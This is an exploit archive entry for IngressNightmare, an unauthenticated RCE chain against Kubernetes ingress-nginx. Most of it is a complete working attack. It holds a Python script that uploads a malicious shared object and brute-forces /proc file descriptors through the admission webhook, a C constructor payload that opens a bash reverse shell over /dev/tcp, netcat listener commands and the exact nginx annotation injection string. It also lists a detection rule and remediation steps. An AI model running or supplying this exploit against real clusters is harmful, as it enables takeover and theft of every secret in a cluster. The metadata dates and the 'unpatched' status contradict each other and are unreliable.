PoC Archive PoC Archive
Critical CVE-2025-1974 (primary); also CVE-2025-1097, CVE-2025-1098, CVE-2025-24514 unpatched

IngressNightmare - Kubernetes Ingress-NGINX Unauthenticated RCE

by Hakai Security (hakaioffsec) / QuimeraX Intelligence; original vulnerability discovery by Wiz Research · 2026-05-17

CVSS 9.8/10
Severity
Critical
CVE
CVE-2025-1974 (primary); also CVE-2025-1097, CVE-2025-1098, CVE-2025-24514
Category
cloud
Affected product
Kubernetes Ingress-NGINX Controller (ingress-nginx)
Affected versions
Ingress-NGINX Controller prior to 1.12.1 and prior to 1.11.5
Disclosed
2026-05-17
Patch status
unpatched

Metadata

FieldValue
Date Added2026-05-17
Last Updated2025-03-26
Author / ResearcherHakai Security (hakaioffsec) / QuimeraX Intelligence; original vulnerability discovery by Wiz Research
CVE / AdvisoryCVE-2025-1974 (primary); also CVE-2025-1097, CVE-2025-1098, CVE-2025-24514
Categorycloud
SeverityCritical
CVSS Score9.8 (CVSSv3)
StatusWeaponized
TagsRCE, Kubernetes, ingress-nginx, admission-controller, unauthenticated, nginx-config-injection, cluster-takeover, k8s, shared-object, reverse-shell
RelatedN/A

Affected Target

FieldValue
Software / SystemKubernetes Ingress-NGINX Controller (ingress-nginx)
Versions AffectedIngress-NGINX Controller prior to 1.12.1 and prior to 1.11.5
Language / PlatformPython 3.x (exploit), C (shared object payload); Kubernetes cluster environment
Authentication RequiredNo (unauthenticated, reachable from within pod network)
Network Access RequiredYes (access to ingress controller pod network or admission webhook endpoint)

Summary

IngressNightmare is a chain of critical vulnerabilities (CVE-2025-1097, CVE-2025-1098, CVE-2025-24514, CVE-2025-1974) in the Kubernetes Ingress-NGINX admission controller. Discovered by Wiz Research, the vulnerabilities allow an unauthenticated attacker reachable from within the Kubernetes pod network to achieve Remote Code Execution on the ingress-nginx controller pod and subsequently read all secrets across all namespaces, enabling full cluster takeover. This PoC was developed by Hakai Security / QuimeraX Intelligence after Wiz did not release a functional exploit. It exploits unsafe nginx configuration injection via the admission webhook, uploading a malicious shared object as the ssl_engine directive to obtain a reverse shell.


Vulnerability Details

Root Cause

The Ingress-NGINX admission webhook processes Ingress resource annotations without sufficient sanitization of user-supplied values. Specifically, annotations such as nginx.ingress.kubernetes.io/auth-tls-match-cn are injected directly into the generated nginx.conf file without proper escaping or validation (CWE-74: Improper Neutralization of Special Elements in Output). This allows an attacker to inject arbitrary nginx configuration directives, including ssl_engine, which instructs nginx to load a custom shared object from a path resolvable within the pod’s filesystem. Since the admission webhook is accessible from within the pod network without authentication, any pod in the cluster can trigger the exploit.

Attack Vector

  1. The attacker compiles a malicious C shared object (evil_engine.so) containing a constructor that executes a reverse shell command.
  2. The shared object is uploaded to the ingress-nginx controller pod via a crafted HTTP POST with a mismatched Content-Length header, keeping the connection and file descriptor open so the file persists at a predictable /proc/{pid}/fd/{fd} path.
  3. The attacker sends a crafted AdmissionReview request to the admission webhook endpoint, injecting an ssl_engine directive pointing to the file descriptor path (/proc/{pid}/fd/{fd}).
  4. The admission controller processes the forged nginx config, nginx loads the ssl_engine shared object, and the constructor payload executes the reverse shell.
  5. File descriptor is brute-forced by iterating over process IDs (1-50) and file descriptor numbers (3-30).

Impact

Remote Code Execution as the ingress-nginx controller process within the Kubernetes cluster. The controller pod has a service account token with privileges to read all Kubernetes secrets across all namespaces. This enables extraction of credentials, certificates, and API keys for all applications in the cluster, and full cluster takeover by impersonating privileged service accounts.


Environment / Lab Setup

OS:          Linux (attacker and Kubernetes nodes)
Target:      Kubernetes cluster with Ingress-NGINX Controller < 1.12.1 / < 1.11.5
Attacker:    Pod within the cluster or host with access to the pod network
Tools:       Python 3.x, GCC compiler, pip (requests module), netcat (reverse shell listener)
Network:     Access to ingress controller pod IP (public ingress URL) and admission webhook URL (internal)

Setup Steps

1
2
3
4
5
pip3 install -r requirements.txt

gcc -fPIC -Wall -shared -o evil_engine.so evil_engine.c -lcrypto

nc -lvnp 443

Proof of Concept

Step-by-Step Reproduction

  1. Set up reverse shell listener on your attacker host.

    1
    
    nc -lvnp 443
    
  2. Run the exploit providing the public ingress URL, internal admission webhook URL, and attacker host:port.

    1
    
    python3 exploit.py http://<INGRESS_URL> https://rke2-ingress-nginx-controller-admission.kube-system <ATTACKER_IP>:443
    

    Note: if the admission webhook is in a different namespace, append the namespace as a 4th argument.

  3. Exploit workflow executed automatically:

    • exploit.py compiles evil_engine.so from lib_template.c with attacker IP/port substituted.
    • Sends the .so to the ingress pod via HTTP with mismatched Content-Length to keep the fd open.
    • Brute-forces /proc/{pid}/fd/{fd} against the admission webhook via threaded AdmissionReview requests.
    • Nginx loads the ssl_engine pointing to the fd path, the constructor fires the reverse shell.
  4. Receive reverse shell in the netcat listener.

Exploit Code

See exploit.py and lib_template.c in this folder.

1
2
3
4
5
6
create_lib(host, port)  # substitutes HOST/PORT in lib_template.c, compiles with gcc

x = threading.Thread(target=exploit, args=(ingress_url,))
x.start()

admission_brute(admission_url)
1
2
3
4
5
6
/* lib_template.c - reverse shell payload (loaded via ssl_engine) */
#include <stdlib.h>
__attribute__((constructor))
void run_on_load() {
    system("bash -c 'bash -i >& /dev/tcp/HOST/PORT 0>&1'");
}

Expected Output

[+] Shared object compiled successfully
[*] Sending evil_engine.so to ingress pod...
Trying Proc: 1, FD: 3
Trying Proc: 1, FD: 4
...
Response for /proc/7/fd/15: 200
[reverse shell received on attacker netcat listener]

Screenshots / Evidence

  • No screenshots provided in source repository. A demo video is available in the repo: assets/9e893abf-5c01-4fcb-ad79-7115b429281f.

Detection & Indicators of Compromise

"nginx.ingress.kubernetes.io/auth-tls-match-cn": "CN=abc #(\\n){}\\n }}\\nssl_engine ../../../../../../proc/{pid}/fd/{fd};"

SIEM / IDS Rule (example):

alert http any any -> $K8S_ADMISSION_WEBHOOK any (msg:"CVE-2025-1974 IngressNightmare ssl_engine Injection"; content:"ssl_engine"; content:"/proc/"; within:50; http_client_body; sid:9002027; rev:1;)

Remediation

ActionDetail
PatchUpgrade Ingress-NGINX Controller to 1.12.1 or 1.11.5 immediately
WorkaroundRestrict admission webhook access to only the Kubernetes API Server using NetworkPolicy; temporarily disable the admission controller component if patching is not immediately possible
Config HardeningApply network policies preventing direct pod-to-webhook communication; audit all Ingress annotations for unexpected nginx directives; enable Kubernetes audit logging for AdmissionReview requests

References


Notes

The Wiz Research team discovered the vulnerability chain but did not publish a functional exploit; Hakai Security / QuimeraX built and released this independent PoC. The file descriptor persistence trick (sending a larger Content-Length than actual body to keep the connection and fd alive) is the key enabler for the attack. Review the review.json file’s annotation field to understand the exact injection format. The brute-force range for proc/fd can be extended but may generate significant noise. Auto-ingested from https://github.com/hakaioffsec/IngressNightmare-PoC on 2026-05-17.

exploit.py
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
import requests
import sys
from urllib.parse import urlparse
import threading
from concurrent.futures import ThreadPoolExecutor
import urllib3
import socket
import os 

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)


def create_lib(host, port):
    
    lib_code = open("lib_template.c", "r").read()
    lib_code = lib_code.replace("HOST", host)
    lib_code = lib_code.replace("PORT", str(port))
    
    with open("evil_engine.c", "w") as f:
        f.write(lib_code)
        f.close()
    
    process = os.system("gcc -fPIC -Wall -shared -o evil_engine.so evil_engine.c -lcrypto")
    if process == 0:
        print("[+] Shared object compiled successfully")
        return True
    else:
        print("[+] Error compiling shared object - gcc is installed?")
        sys.exit(0)
    
def send_request(admission_url, json_data, proc, fd):
    print(f"Trying Proc: {proc}, FD: {fd}")
    path = f"proc/{proc}/fd/{fd}"
    replaced_data = json_data.replace("REPLACE", path)

    headers = {
        "Content-Type": "application/json"
    }

    full_url = admission_url.rstrip("/") + "/admission"

    try:
        response = requests.post(full_url, data=replaced_data, headers=headers, verify=False, timeout=5)
        #print(response.text) - use this to debug (check response of admission webhook)
        print(f"Response for /proc/{proc}/fd/{fd}: {response.status_code}")
    except Exception as e:
        print(f"Error on /proc/{proc}/fd/{fd}: {e}")

def admission_brute(admission_url, max_workers=3):
    # before use review.json file, check if alico-system/node-certs exists on the cluster.
    with open("review.json", "r") as f:
        json_data = f.read()

    #proc = input("INPUT PROC:") - use this for manual testing
    #fd = input("INPUT FD:") - use this for manual testing 
    #send_request(admission_url, json_data, proc, fd) - use this for manual testing
    
    with ThreadPoolExecutor(max_workers=max_workers) as executor:
        for proc in range(1, 50): # can be increased to 100
            for fd in range(3, 30): # can be increased to 100 (not recommended)
                executor.submit(send_request, admission_url, json_data, proc, fd)

def exploit(ingress_url):

    with open("evil_engine.so", "rb") as f:
        evil_engine = f.read()

    real_length = len(evil_engine)
    fake_length = real_length + 10
    url = ingress_url  

    parsed = urlparse(url)
    host = parsed.hostname
    port = parsed.port or 80
    path = parsed.path or "/"

    try:
        sock = socket.create_connection((host, port))
    except Exception as e:
        print(f"Error connecting to {host}:{port}: {e} - host is up?")
        sys.exit(0)
    headers = (
        f"POST {path} HTTP/1.1\r\n"
        f"Host: {host}\r\n"
        f"User-Agent: qmx-ingress-exploiter\r\n"
        f"Content-Type: application/octet-stream\r\n"
        f"Content-Length: {fake_length}\r\n"
        f"Connection: keep-alive\r\n"
        f"\r\n"
    ).encode("iso-8859-1")

    http_payload = headers + evil_engine
    sock.sendall(http_payload)

    response = b""
    while True:
        chunk = sock.recv(4096)
        if not chunk:
            break
        response += chunk

    print("[*] Resposta:")
    print(response.decode(errors="ignore"))

    sock.close()
            
if len(sys.argv) < 4:
    print("Usage: python3 exploit.py <ingress_url> <admission_webhook_url> <rev_host:port>")
    sys.exit(0)
else:
    ingress_url = sys.argv[1]
    admission = sys.argv[2]
    
    if ":" not in sys.argv[3]:
        print("Invalid rev_host:port")
        sys.exit(0)
    host = sys.argv[3].split(":")[0]
    port = sys.argv[3].split(":")[1]
    result = create_lib(host, port)
    if result:
        # Send the library to the ingress pod and keep the connection open to keep the file open via the file descriptor (FD).
        x = threading.Thread(target=exploit, args=(ingress_url,)) 
        x.start()
        admission_brute(admission) # start the admission webhook brute force (/proc/{pid}/fd/{fd})